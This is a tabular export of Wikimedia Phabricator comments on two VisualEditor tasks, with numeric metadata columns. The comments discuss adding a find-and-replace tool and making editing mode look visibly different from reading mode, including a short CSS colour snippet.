What about in non-MW integrations?",,,1416794975,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-l5y2bm67zzyyrk4uvrke,task_subcomment,,True,c1,3,True,,,73,,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5833333333333335,0.9166666666666666,"QUOTE
QUOTE

What about in non-MW integrations?"
332329,Implement a find/search and replace tool,For now I think the tool can go in the hamburger menu on the right.,,,1416791907,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-l5y2bm67zzyyrk4uvrke,task_subcomment,,True,c1,3,True,,,73,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,12.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,19.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3125,0.875,For now I think the tool can go in the hamburger menu on the right.
332327,Implement a find/search and replace tool,https://gerrit.wikimedia.org/r/#/c/174491/,,,1416791428,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-l5y2bm67zzyyrk4uvrke,task_subcomment,,True,c1,3,True,,,73,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,URL
219419,Implement a find/search and replace tool,"(In reply to Eran Roz from comment #12)
> I can only think of ""Language"" and ""Replace"", so I guess we don't have
> enougth tools right now for a new menu.
> (or maybe the ""advanced"" options (page settings, categories etc...) is
> actually ""tools"" menu?)

We've been struggling with what to do with categories (which are pretty vital) compared to ""don't show TOC"" (which is pretty rare). Suggestions for improvements to the toolbar are always welcome. :-)",,,1400888389,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-l5y2bm67zzyyrk4uvrke,task_subcomment,,True,c1,3,True,,,46,,0.0,0.0,0.0,0.0,2.0,5.0,5.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,2.0,2.0,6.0,15.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,3.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,6.0,16.0,0.0,0.0,5.0,0.0,2.0,0.0,2.0,5.0,0.0,2.0,0.0,2.0,15.0,8.0,0.0,3.0,0.0,2.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,3.6451612903225805,0.6774193548387096,"(In reply to Eran Roz from comment #12)
QUOTE
QUOTE
QUOTE
QUOTE

We've been struggling with what to do with categories (which are pretty vital) compared to ""don't show TOC"" (which is pretty rare). Suggestions for improvements to the toolbar are always welcome. :-)"
219412,Implement a find/search and replace tool,"I can only think of ""Language"" and ""Replace"", so I guess we don't have enougth tools right now for a new menu.
(or maybe the ""advanced"" options (page settings, categories etc...) is actually ""tools"" menu?)",,,1400881097,,PHID-USER-cfsvvgbtlqnbt2yokfjf,True,,,PHID-TASK-l5y2bm67zzyyrk4uvrke,task_subcomment,,True,c1,3,False,,,46,,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,6.0,0.0,11.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,4.0,0.0,2.0,0.0,0.0,0.0,4.0,2.0,7.0,0.0,6.0,4.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,4.0,0.0,2.0,15.0,0.0,6.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,3.185185185185185,0.7592592592592593,"I can only think of ""Language"" and ""Replace"", so I guess we don't have enougth tools right now for a new menu.
(or maybe the ""advanced"" options (page settings, categories etc...) is actually ""tools"" menu?)"
219406,Implement a find/search and replace tool,"(In reply to Eran Roz from comment #10)
> Yes, I would like if it would be possible to create an extra different menu,
> instead of adding all the tools to mislabelled ""Insert"". I think the new
> ""Language"" option will also fit here.

Hmm. Possibly. I was thinking of putting it in the ""text styling"" menu, but it could live here.

Is there anything else that would live in the ""Tools"" menu? (Note that the obvious items to go in a ""tools"" menu – copy, cut, paste, paste formatting – can't be done in Javascript at all, sadly.)",,,1400880157,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-l5y2bm67zzyyrk4uvrke,task_subcomment,,True,c1,3,True,,,46,,1.0,1.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,5.0,1.0,0.0,0.0,0.0,1.0,1.0,9.0,12.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,15.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,3.0,14.0,1.0,1.0,4.0,0.0,0.0,0.0,1.0,5.0,0.0,1.0,0.0,3.0,12.0,6.0,1.0,6.0,0.0,3.0,0.0,1.0,1.0,0.0,2.0,0.0,0.0,0.0,3.129032258064516,0.6559139784946236,"(In reply to Eran Roz from comment #10)
QUOTE
QUOTE
QUOTE

Hmm. Possibly. I was thinking of putting it in the ""text styling"" menu, but it could live here.

Is there anything else that would live in the ""Tools"" menu? (Note that the obvious items to go in a ""tools"" menu – copy, cut, paste, paste formatting – can't be done in Javascript at all, sadly.)"
219399,Implement a find/search and replace tool,"Yes, I would like if it would be possible to create an extra different menu, instead of adding all the tools to mislabelled ""Insert"". I think the new ""Language"" option will also fit here.",,,1400879623,,PHID-USER-cfsvvgbtlqnbt2yokfjf,True,,,PHID-TASK-l5y2bm67zzyyrk4uvrke,task_subcomment,,True,c1,3,False,,,46,,2.0,0.0,0.0,0.0,0.0,10.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,7.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,12.0,2.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,2.0,0.0,0.0,7.0,10.0,2.0,0.0,10.0,0.0,7.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.6666666666666665,0.7857142857142857,"Yes, I would like if it would be possible to create an extra different menu, instead of adding all the tools to mislabelled ""Insert"". I think the new ""Language"" option will also fit here."
219391,Implement a find/search and replace tool,"(In reply to Eran Roz from comment #8)
> We have a first working draft for replace tool for VE:
> https://en.wikipedia.org/wiki/User:%D7%A2%D7%A8%D7%9F/veReplace.js

This ends up in the (mis-labelled) ""Insert"" menu, right? Would it be helpful it we created a category of tool to manipulate the contents (a spelling or grammar tool might also fit here, though again it's something you'd generally expect your browser to provide)?",,,1398975277,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-l5y2bm67zzyyrk4uvrke,task_subcomment,,True,c1,3,True,,,43,,0.0,1.0,0.0,0.0,0.0,3.0,1.0,0.0,1.0,0.0,3.0,1.0,0.0,0.0,0.0,1.0,0.0,5.0,12.0,1.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,3.0,0.0,3.0,1.0,4.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,14.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,11.0,1.0,1.0,7.0,0.0,0.0,0.0,1.0,7.0,0.0,1.0,0.0,8.0,12.0,7.0,3.0,3.0,0.0,8.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.6164383561643834,0.7945205479452054,"(In reply to Eran Roz from comment #8)
QUOTE
QUOTE

This ends up in the (mis-labelled) ""Insert"" menu, right? Would it be helpful it we created a category of tool to manipulate the contents (a spelling or grammar tool might also fit here, though again it's something you'd generally expect your browser to provide)?"
219387,Implement a find/search and replace tool,"We have a first working draft for replace tool for VE:
https://en.wikipedia.org/wiki/User:%D7%A2%D7%A8%D7%9F/veReplace.js

It works and replace the specified text, and undo&redo are properly supported (the last is just a claim that we didn't hack the VE too much :) ). 
Currently it does only ""replace all"" but it can be easily extended with simple replace function, regexs and more... 
We didn't ""publish"" it yet in village pumps since we want to do add at least some of this features before.",,,1398963768,,PHID-USER-cfsvvgbtlqnbt2yokfjf,True,,,PHID-TASK-l5y2bm67zzyyrk4uvrke,task_subcomment,,True,c1,3,False,,,43,,3.0,0.0,0.0,2.0,2.0,6.0,1.0,0.0,0.0,0.0,1.0,2.0,0.0,1.0,0.0,4.0,0.0,11.0,9.0,0.0,1.0,0.0,1.0,0.0,2.0,1.0,0.0,0.0,1.0,0.0,0.0,6.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,10.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,7.0,2.0,4.0,8.0,0.0,1.0,0.0,0.0,7.0,0.0,0.0,0.0,8.0,9.0,4.0,0.0,4.0,0.0,8.0,0.0,0.0,2.0,0.0,1.0,1.0,1.0,0.0,3.6391752577319587,0.7628865979381443,"We have a first working draft for replace tool for VE:
URL

It works and replace the specified text, and undo&redo are properly supported (the last is just a claim that we didn't hack the VE too much :) ). 
Currently it does only ""replace all"" but it can be easily extended with simple replace function, regexs and more... 
We didn't ""publish"" it yet in village pumps since we want to do add at least some of this features before."
219383,Implement a find/search and replace tool,"(In reply to Eran Roz from comment #6)
> As part of the work on
> [[meta:Grants:IEG/Visual_editor-_gadgets_compatibility]], I plan to work on
> [[meta:User:Pathoschild/Scripts/Regex menu framework]], that should give a
> quick&dirty workaround to this issue.

Consider using the new version of that script instead:
[[m:User:Pathoschild/Scripts/TemplateScript]]",,,1396716497,,PHID-USER-sryrz6tgcfnnsiddx32p,True,,,PHID-TASK-l5y2bm67zzyyrk4uvrke,task_subcomment,,True,c1,3,False,,,39,,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,27.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,9.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,3.3863636363636362,0.7272727272727273,"(In reply to Eran Roz from comment #6)
QUOTE
QUOTE
QUOTE
QUOTE

Consider using the new version of that script instead:
[[m:User:Pathoschild/Scripts/TemplateScript]]"
219377,Implement a find/search and replace tool,"I agree with Amir. This is regression as this option is already available in WikiEditor and it is very basic functionality (available even in simple notepad), so it isn't an enhancement but at least normal (or major?) bug.

As part of the work on [[meta:Grants:IEG/Visual_editor-_gadgets_compatibility]], I plan to work on [[meta:User:Pathoschild/Scripts/Regex menu framework]], that should give a quick&dirty workaround to this issue.",,,1396687246,,PHID-USER-cfsvvgbtlqnbt2yokfjf,True,,,PHID-TASK-l5y2bm67zzyyrk4uvrke,task_subcomment,,True,c1,3,False,,,39,,0.0,0.0,1.0,0.0,1.0,8.0,3.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,2.0,0.0,4.0,11.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,4.0,13.0,0.0,4.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,11.0,8.0,1.0,0.0,0.0,4.0,0.0,1.0,2.0,0.0,0.0,0.0,1.0,5.0,3.865979381443299,0.7010309278350515,"I agree with Amir. This is regression as this option is already available in WikiEditor and it is very basic functionality (available even in simple notepad), so it isn't an enhancement but at least normal (or major?) bug.

As part of the work on [[meta:Grants:IEG/Visual_editor-_gadgets_compatibility]], I plan to work on [[meta:User:Pathoschild/Scripts/Regex menu framework]], that should give a quick&dirty workaround to this issue."
219371,Implement a find/search and replace tool,"Somebody told me that my comment was unclear: when I say that it's a regression and not an enhancement, I mean that the *lack* of search and replace functionality is a regression, and the request to have it should be treated as a bug report and not as an enhancement request.",,,1396685853,,PHID-USER-xfe43w2lb5gpvglf4coa,True,,,PHID-TASK-l5y2bm67zzyyrk4uvrke,task_subcomment,,True,c1,3,False,,,39,,0.0,2.0,0.0,2.0,3.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,7.0,0.0,5.0,12.0,2.0,2.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,3.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,9.0,0.0,2.0,0.0,0.0,3.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,5.0,5.0,7.0,7.0,12.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,10.0,12.0,0.0,0.0,0.0,0.0,10.0,0.0,2.0,9.0,2.0,0.0,0.0,0.0,0.0,3.8793103448275863,0.6896551724137931,"Somebody told me that my comment was unclear: when I say that it's a regression and not an enhancement, I mean that the *lack* of search and replace functionality is a regression, and the request to have it should be treated as a bug report and not as an enhancement request."
219365,Implement a find/search and replace tool,I'd say that it's a regression and not an enhancement.,,,1395925189,,PHID-USER-xfe43w2lb5gpvglf4coa,True,,,PHID-TASK-l5y2bm67zzyyrk4uvrke,task_subcomment,,True,c1,3,False,,,38,,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,8.0,8.0,8.0,15.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,15.0,8.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,3.4615384615384617,1.0,I'd say that it's a regression and not an enhancement.
219358,Implement a find/search and replace tool,This still seems to be a popular request from users at multiple Wikipedias.,,,1386468820,,PHID-USER-uf3buojo4ceizjywvyn5,True,,,PHID-TASK-l5y2bm67zzyyrk4uvrke,task_subcomment,,True,c1,3,False,,,22,,0.0,0.0,0.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,21.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,21.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.5,1.0,This still seems to be a popular request from users at multiple Wikipedias.
219351,Implement a find/search and replace tool,*** Bug 53326 has been marked as a duplicate of this bug. ***,,,1377460909,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-l5y2bm67zzyyrk4uvrke,task_subcomment,,True,c1,3,True,,,7,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 53326 has been marked as a duplicate of this bug. ***
219344,Implement a find/search and replace tool,"As long as it doesn't have the same performance issues which makes it unusable (bug 23510), I support this. :-)",,,1375968089,,PHID-USER-sryrz6tgcfnnsiddx32p,True,,,PHID-TASK-l5y2bm67zzyyrk4uvrke,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,4.0,0.0,12.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,8.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,3.68,0.96,"As long as it doesn't have the same performance issues which makes it unusable (bug 23510), I support this. :-)"
50008,VisualEditor: There is not enough UI difference between reading and editing mode,"The difference between editing and reading mode isn't obvious enough for the user.

(reported at http://de.wikipedia.org/wiki/Wikipedia:Technik/Text/Edit/VisualEditor/Alpha2013-04#Unterschied_Bearbeitungsfenster_und_gespeicherter_Artikel)

--------------------------
**Version**: unspecified
**Severity**: enhancement",Lowest,10.0,1367512020,,PHID-USER-7n5fvppwj4ueprv2iuys,False,,False,PHID-TASK-e53nvp2e24hk4kjigmbx,task_description,open,True,c1,1,True,False,,-9,,0.0,0.0,0.0,0.0,3.0,5.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,11.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.2894736842105265,0.7368421052631579,"The difference between editing and reading mode isn't obvious enough for the user.

(reported at URL

--------------------------
**Version**: unspecified
**Severity**: enhancement"
336893,VisualEditor: There is not enough UI difference between reading and editing mode,"This seems, well, almost trivial to implement. Here's what I have in my common.css to do this when I edit:

.ve-ce-surface { background: #FFFDD0; }

That's a personal color choice, of course. I'd be happy to defer to the consensus of a larger group of VE users about a better color. But other than choosing a color, this seems like an enhancement that can relatively easily be put in the ""done"" category.  ",,,1417807160,,PHID-USER-hirrhium5ibrtof34lwa,False,,,PHID-TASK-e53nvp2e24hk4kjigmbx,task_subcomment,,True,c1,3,False,,,74,,0.0,0.0,0.0,1.0,0.0,6.0,1.0,0.0,0.0,0.0,2.0,1.0,1.0,1.0,0.0,4.0,0.0,5.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,14.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,7.0,2.0,9.0,1.0,1.0,11.0,0.0,0.0,0.0,1.0,5.0,1.0,1.0,0.0,4.0,12.0,2.0,0.0,2.0,0.0,4.0,0.0,3.0,5.0,0.0,1.0,2.0,0.0,1.0,3.5,0.7083333333333334,"This seems, well, almost trivial to implement. Here's what I have in my common.css to do this when I edit:

.ve-ce-surface { background: #FFFDD0; }

That's a personal color choice, of course. I'd be happy to defer to the consensus of a larger group of VE users about a better color. But other than choosing a color, this seems like an enhancement that can relatively easily be put in the ""done"" category.  "
222888,VisualEditor: There is not enough UI difference between reading and editing mode,"I'm with Pam on this one. Editing and reading are not two halves of the same participation at all - they are distinct activities. There should be no (or at least minimal) barriers to people participating in both but there is a fundamental difference between them.

Reading Wikipedia and other Wikimedia projects is an act of consuming content. With varying degrees of interactivity you can choose which content you want to consume, and in limited ways how you want to consume it. It is possible to read Wikipedia etc in many different environments, for example using a desktop computer, handheld tablet, e-ink reader, dead-tree books even projected onto the side of buildings iirc. The reader has no responsibility to or for the content and enters into no legal agreement with anyone (although they may do so with others in order to access Wikipedia in some modes).

Editing Wikipedia is an inherently interactive process of collaborative production. It entails the responsibility to abide be the legal agreement they enter into, and the requirement to not insert copyright violations, to agree to community norms, and display at least basic competence, etc. Editors must agree to be responsible for the content they enter, and so must be old enough according to one or more legal jurisdictions to assume that responsibility. It is not possible to edit Wikipedia in all modes it is possible to read it in.

Look at attachment 12954 (the second attachment on bug 52004 in case that link doesn't work) for perhaps the clearest evidence about how reading and editing are fundamentally different concepts.

In addition to the above there a practical difference with the way one has to behave with a reading window and editing window. When reading, I can paste a new link anywhere on the page to view a different article, or an can follow a link from anywhere in the page with no need to think about anything else; I can page down using the space bar (often convenient on this laptop), and I can simply type a few characters or words to quickly jump to a different part of the page. When editing I cannot do any of those and I need to be able to tell at a glance whether pressing tab a couple of times followed by enter will take me to the third link or will alter the formatting of the page.",,,1374876541,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-e53nvp2e24hk4kjigmbx,task_subcomment,,True,c1,3,False,,,3,,1.2,0.4,0.0,0.0,1.0,7.4,2.4,0.0,0.2,0.0,2.0,0.4,0.0,0.0,0.4,1.6,0.4,5.4,15.6,0.4,3.4,0.6,0.0,0.0,0.0,0.6,0.0,0.2,1.4,0.4,0.4,3.8,0.4,1.2,0.4,0.6,0.0,0.0,0.4,0.6,0.6,1.0,0.0,3.2,0.0,1.0,0.0,0.0,0.2,14.0,0.2,0.6,0.0,0.2,0.0,0.2,0.0,0.0,1.2,0.0,0.4,0.6,0.4,0.0,0.2,0.0,0.0,6.8,2.8,5.6,1.6,3.6,9.2,0.0,0.0,0.0,0.0,6.8,0.0,0.8,0.0,4.6,15.6,2.0,0.0,0.0,0.0,4.6,0.0,1.0,2.8,0.4,2.2,0.2,0.6,0.6,4.221922596754058,0.7186516853932584,"I'm with Pam on this one. Editing and reading are not two halves of the same participation at all - they are distinct activities. There should be no (or at least minimal) barriers to people participating in both but there is a fundamental difference between them.

Reading Wikipedia and other Wikimedia projects is an act of consuming content. With varying degrees of interactivity you can choose which content you want to consume, and in limited ways how you want to consume it. It is possible to read Wikipedia etc in many different environments, for example using a desktop computer, handheld tablet, e-ink reader, dead-tree books even projected onto the side of buildings iirc. The reader has no responsibility to or for the content and enters into no legal agreement with anyone (although they may do so with others in order to access Wikipedia in some modes).

Editing Wikipedia is an inherently interactive process of collaborative production. It entails the responsibility to abide be the legal agreement they enter into, and the requirement to not insert copyright violations, to agree to community norms, and display at least basic competence, etc. Editors must agree to be responsible for the content they enter, and so must be old enough according to one or more legal jurisdictions to assume that responsibility. It is not possible to edit Wikipedia in all modes it is possible to read it in.

Look at attachment 12954 (the second attachment on bug 52004 in case that link doesn't work) for perhaps the clearest evidence about how reading and editing are fundamentally different concepts.

In addition to the above there a practical difference with the way one has to behave with a reading window and editing window. When reading, I can paste a new link anywhere on the page to view a different article, or an can follow a link from anywhere in the page with no need to think about anything else; I can page down using the space bar (often convenient on this laptop), and I can simply type a few characters or words to quickly jump to a different part of the page. When editing I cannot do any of those and I need to be able to tell at a glance whether pressing tab a couple of times followed by enter will take me to the third link or will alter the formatting of the page."
222883,VisualEditor: There is not enough UI difference between reading and editing mode,"What's the virtue of having no difference between reading and edit mode? I see none. If I'm in editing mode, I want to be reminded that I still need to close off the edit properly (give edit summary, save page), rather than accidentally just close down all tabs, or leave the computer and let it close itself messily after x hours). I may be juggling several open windows, in connection with the one edit or with other jobs (and because the page dialog obscures the article, I'm often opening a second copy of the page while I'm in VE so that I can actually see it while adding a category or stub template, as being quicker than closing the dialog box to see the information I need). Editing and reading are two different activities: someone editing has responsibilities - not to accidentally lean on keys and produce garbage, not to leave the page without a helpful edit summary. Someone reading... is just someone reading.",,,1373882835,,PHID-USER-7zhn2ep5wvjhxetsbb6n,False,,,PHID-TASK-e53nvp2e24hk4kjigmbx,task_subcomment,,True,c1,3,False,,,2,,1.0,1.5,0.0,0.5,1.0,3.5,0.5,0.5,0.0,0.5,2.5,1.5,0.0,0.0,0.0,4.5,0.0,6.0,14.5,2.0,2.5,0.0,1.5,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.5,6.0,1.5,1.5,0.5,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,19.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.5,0.5,0.0,0.0,0.0,7.0,2.5,7.0,3.5,4.0,8.0,0.0,0.0,0.0,0.0,7.0,0.0,1.0,0.0,6.0,14.5,1.0,0.5,0.0,0.0,6.0,0.0,0.5,1.5,0.5,3.5,0.5,0.0,0.0,4.027715565509518,0.7143337066069428,"What's the virtue of having no difference between reading and edit mode? I see none. If I'm in editing mode, I want to be reminded that I still need to close off the edit properly (give edit summary, save page), rather than accidentally just close down all tabs, or leave the computer and let it close itself messily after x hours). I may be juggling several open windows, in connection with the one edit or with other jobs (and because the page dialog obscures the article, I'm often opening a second copy of the page while I'm in VE so that I can actually see it while adding a category or stub template, as being quicker than closing the dialog box to see the information I need). Editing and reading are two different activities: someone editing has responsibilities - not to accidentally lean on keys and produce garbage, not to leave the page without a helpful edit summary. Someone reading... is just someone reading."
